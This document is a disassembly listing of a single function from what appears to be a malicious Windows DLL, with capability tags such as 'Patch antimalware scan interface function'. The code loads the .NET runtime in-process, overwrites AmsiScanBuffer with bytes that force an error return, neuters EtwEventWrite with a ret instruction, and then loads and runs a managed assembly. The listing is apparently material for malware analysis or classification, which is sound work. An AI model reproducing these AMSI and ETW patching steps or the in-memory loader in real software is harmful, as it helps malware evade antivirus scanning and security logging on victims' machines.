Function at 0x180001a44
Capabilities:
Execute shellcode via indirect call
Load windows common language runtime
Patch antimalware scan interface function
Patch event tracing for windows function

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
xor r12d, r12d
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x39], r12
mov qword [rbp - 0x29], r12
lea ecx, [r12 + 0x18]
call fcn.18000252c
lea r15d, [r12 + 1]
mov rdi, rax
test rax, rax
je 0x180001a9a
lea rcx, str.Program
mov qword [rax + 8], r12
mov dword [rax + 0x10], r15d
call fcn.180003250
mov qword [rdi], rax
jmp 0x180001a9d
mov rdi, r12
test rdi, rdi
je 0x180002088
mov ecx, SafeArrayCopy
mov qword [rbp - 0x19], r12
call fcn.18000252c
mov rbx, rax
test rax, rax
je 0x180001ad5
lea rcx, str.Program
mov qword [rax + 8], r12
mov dword [rax + 0x10], r15d
call fcn.180003250
mov qword [rbx], rax
jmp 0x180001ad8
mov rbx, r12
test rbx, rbx
je 0x180002088
lea rcx, str.mscoree.dll
mov qword [rbp - 0x21], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
mov qword [rbp - 0x11], rax
lea rdx, str.CorBindToRuntime
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001b39
lea rcx, [rbp - 0x31]
mov qword [rsp + 0x20], rcx
lea r9, [0x18001fb70]
lea rcx, str.v2.0.50727
lea r8, [0x18001fb90]
lea rdx, [0x18001fa88]
call rax
test eax, eax
jns 0x180001b4a
lea r8, [rbp - 0x31]
lea rcx, [rbp - 0x11]
call fcn.18000195c
mov rsi, qword [rbp - 0x11]
test rsi, rsi
je 0x180001f6a
mov rcx, qword [rbp - 0x31]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x180001f6a
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001b74
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x31]
lea rdx, [rbp - 0x39]
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180001f6a
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.180006764
mov rsi, r12
lea r14, [0x180024df0]
call fcn.180006738
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x19
sub r8d, ecx
add r8w, 0x41
mov word [rsi + r14], r8w
add rsi, 2
cmp rsi, 0x1e
jb 0x180001ba1
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001be4
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x31]
lea r9, [rbp - 0x39]
mov qword [rbp - 0x39], r12
xor r8d, r8d
mov rdx, r14
mov rax, qword [rcx]
call qword [rax + 0x60]
test eax, eax
jns 0x180001c29
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001c0f
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x31]
lea rdx, [rbp - 0x39]
mov qword [rbp - 0x39], r12
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180001f6a
mov rsi, qword [rbp - 0x39]
test rsi, rsi
je 0x18000207d
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x180001c45
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x29]
lea rdx, [0x18001fb80]
mov rcx, rsi
call qword [rax]
test eax, eax
js 0x180001f6a
mov rax, qword [0x180023a80]
cmp rax, 4
jb 0x1800020a4
add rax, 0xfffffffffffffffc
lea rcx, [0x180023a70]
cmp rax, r15
lea rdx, [0x18001fb30]
mov rsi, r15
cmovb rsi, rax
cmp qword [reloc.OLEAUT32.dll_SafeArrayDestroy], 0x10
mov r8, rsi
cmovae rcx, qword [0x180023a70]
cmp rsi, r15
cmova r8, r15
add rcx, 4
call fcn.18000f780
test eax, eax
jne 0x180001cc5
cmp rsi, r15
jne 0x180001cc5
mov eax, r12d
test eax, eax
jne 0x180001cc5
call fcn.180001744
mov rax, qword [0x180023a60]
cmp rax, 4
jb 0x1800020a4
add rax, 0xfffffffffffffffc
lea rcx, [0x180023a50]
cmp rax, r15
lea rdx, [0x18001fb30]
mov rsi, r15
cmovb rsi, rax
cmp qword [reloc.OLEAUT32.dll_SafeArrayDestroy], 0x10
mov r8, rsi
cmovae rcx, qword [0x180023a50]
cmp rsi, r15
cmova r8, r15
add rcx, 4
call fcn.18000f780
test eax, eax
jne 0x180001d9f
cmp rsi, r15
jne 0x180001d9f
mov eax, r12d
test eax, eax
jne 0x180001d9f
lea rcx, str.amsi
mov dword [rbp + 0x6f], 0x70057b8
mov word [rbp + 0x73], 0xc380
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x180001d9f
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180001d9f
lea r14d, [r12 + 6]
mov rcx, rax
mov edx, r14d
lea r9, [rbp + 0x67]
lea r8d, [r12 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001d9f
mov eax, dword [rbp + 0x6f]
lea r9, [rbp + 0x77]
mov dword [rsi], eax
mov edx, r14d
movzx eax, word [rbp + 0x73]
mov rcx, rsi
mov word [rsi + 4], ax
mov r8d, dword [rbp + 0x67]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x180023a40]
cmp rax, 4
jb 0x1800020a4
add rax, 0xfffffffffffffffc
lea rcx, [0x180023a30]
cmp rax, r15
lea rdx, [0x18001fb30]
mov rsi, r15
cmovb rsi, rax
cmp qword [reloc.OLEAUT32.dll_SafeArrayDestroy], 0x10
mov r8, rsi
cmovae rcx, qword [0x180023a30]
cmp rsi, r15
cmova r8, r15
add rcx, 4
call fcn.18000f780
test eax, eax
jne 0x180001e59
cmp rsi, r15
jne 0x180001e59
mov eax, r12d
test eax, eax
jne 0x180001e59
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001e59
lea rdx, str.EtwEventWrite
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180001e59
lea r9, [rbp + 0x6f]
mov rdx, r15
lea r8d, [r12 + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001e59
mov byte [rsi], 0xc3
lea r9, [rbp + 0x7f]
mov r8d, dword [rbp + 0x6f]
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rbp + 0xf]
call fcn.180001110
mov rsi, qword [rbp + 0x17]
lea r8, [rbp - 9]
mov r14, qword [rbp + 0xf]
mov eax, esi
sub eax, r14d
mov dword [rbp - 5], r12d
mov ecx, SafeArrayUnlock
mov dword [rbp - 9], eax
mov edx, r15d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rcx, rax
mov r15, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
mov rcx, qword [r15 + 0x10]
sub rsi, r14
mov r8, rsi
mov rdx, r14
call fcn.180005ef0
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
mov rsi, qword [rbp - 0x29]
test rsi, rsi
je 0x18000207d
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x180001ecb
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x19]
mov rdx, r15
mov rcx, rsi
call qword [rax + 0x168]
test eax, eax
js 0x180001f31
mov rsi, qword [rbp - 0x19]
test rsi, rsi
je 0x18000207d
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x180001efe
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x21]
mov rdx, qword [rbx]
mov rcx, rsi
call qword [rax + 0x88]
test eax, eax
js 0x180001f31
mov rcx, qword [rbp - 0x21]
mov qword [rbp + 7], rcx
test rcx, rcx
je 0x180001f28
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 7]
call fcn.1800020ac
test r14, r14
je 0x180001f6a
mov rdx, qword [rbp + 0x1f]
mov rax, r14
sub rdx, r14
cmp rdx, 0x1000
jb 0x180001f62
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002093
mov rcx, r14
call fcn.18000294c
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x180001f7d
mov qword [rbp - 0x29], r12
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180002099
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001fa3
mov qword [rbp - 0x39], r12
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x31]
test rcx, rcx
je 0x180001fb6
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x31], r12
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x180001fc5
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [rbx + 0x10], eax
add eax, esi
jne 0x180002003
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001fe4
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001ff6
call fcn.18000294c
mov qword [rbx + 8], r12
mov edx, SafeArrayCopy
mov rcx, rbx
call fcn.18000294c
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x180002012
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov eax, esi
lock xadd dword [rdi + 0x10], eax
add eax, esi
jne 0x18000204d
mov rcx, qword [rdi]
test rcx, rcx
je 0x18000202e
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rdi], r12
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x180002040
call fcn.18000294c
mov qword [rdi + 8], r12
mov edx, SafeArrayCopy
mov rcx, rdi
call fcn.18000294c
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x18000205c
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x18000206b
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
add rsp, 0x90
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004003
call fcn.180003240
int3
mov ecx, 0x8007000e
call fcn.180003240
int3
call fcn.1800066c0
int3
mov ecx, 0x80004003
call fcn.180003240
int3
call fcn.180002274
int3
jmp 0x180001a44